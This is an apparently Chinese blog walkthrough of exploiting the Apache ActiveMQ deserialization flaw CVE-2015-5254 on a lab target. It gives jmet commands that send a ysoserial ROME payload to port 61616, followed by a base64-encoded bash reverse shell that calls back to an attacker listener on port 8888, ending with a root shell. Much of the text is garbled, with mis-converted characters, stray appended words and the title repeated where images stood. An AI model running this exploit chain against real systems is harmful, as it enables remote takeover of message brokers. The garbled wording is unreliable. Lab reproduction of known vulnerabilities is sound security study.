ActiveMQ反序列化漏洞(CVE-2015-5254)

1.漏洞介绍:
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0以前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程***者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。java

2.漏洞利用过程以下:git

①构造可执行命令的序列化对象
②做为一个消息,发送到目标61616端口
③访问web管理页面,读取信息,触发漏洞github

3.漏洞复现:
1.首先下载jmet的jar文件,并在同目录下建立一个external文件夹(不然可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再本身下载),因此咱们须要在ysoserial是gadget中选择一个能够使用的,好比ROME。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
ActiveMQ反序列化漏洞(CVE-2015-5254)
mkdir external
ActiveMQ反序列化漏洞(CVE-2015-5254)
2.执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 靶机的ip 61616
ActiveMQ反序列化漏洞(CVE-2015-5254)
ActiveMQ反序列化漏洞(CVE-2015-5254)
3.它会给你的ID,访问http://你的ip:8161:8161/admin/queues.jsp
ActiveMQ反序列化漏洞(CVE-2015-5254)
ActiveMQ反序列化漏洞(CVE-2015-5254)
4.利用方式也很简单,咱们只要将命令换成反弹shell语句再利用就好了。不过在这里咱们须要一些小技巧来绕过Java的机制。
bash -i >& /dev/tcp/***机IP/8888 0>&1 bese64编码ActiveMQ反序列化漏洞(CVE-2015-5254)
把编码放进去。
bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
5.而后咱们是使用一样的命令将payload发送到61616端口。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 靶机ip 61616
ActiveMQ反序列化漏洞(CVE-2015-5254)
6.而后咱们查看这条消息,触发命令执行,这时咱们在***机上监听端口,便可获得shell。ActiveMQ反序列化漏洞(CVE-2015-5254)
7.这就成功进来了,root权限!web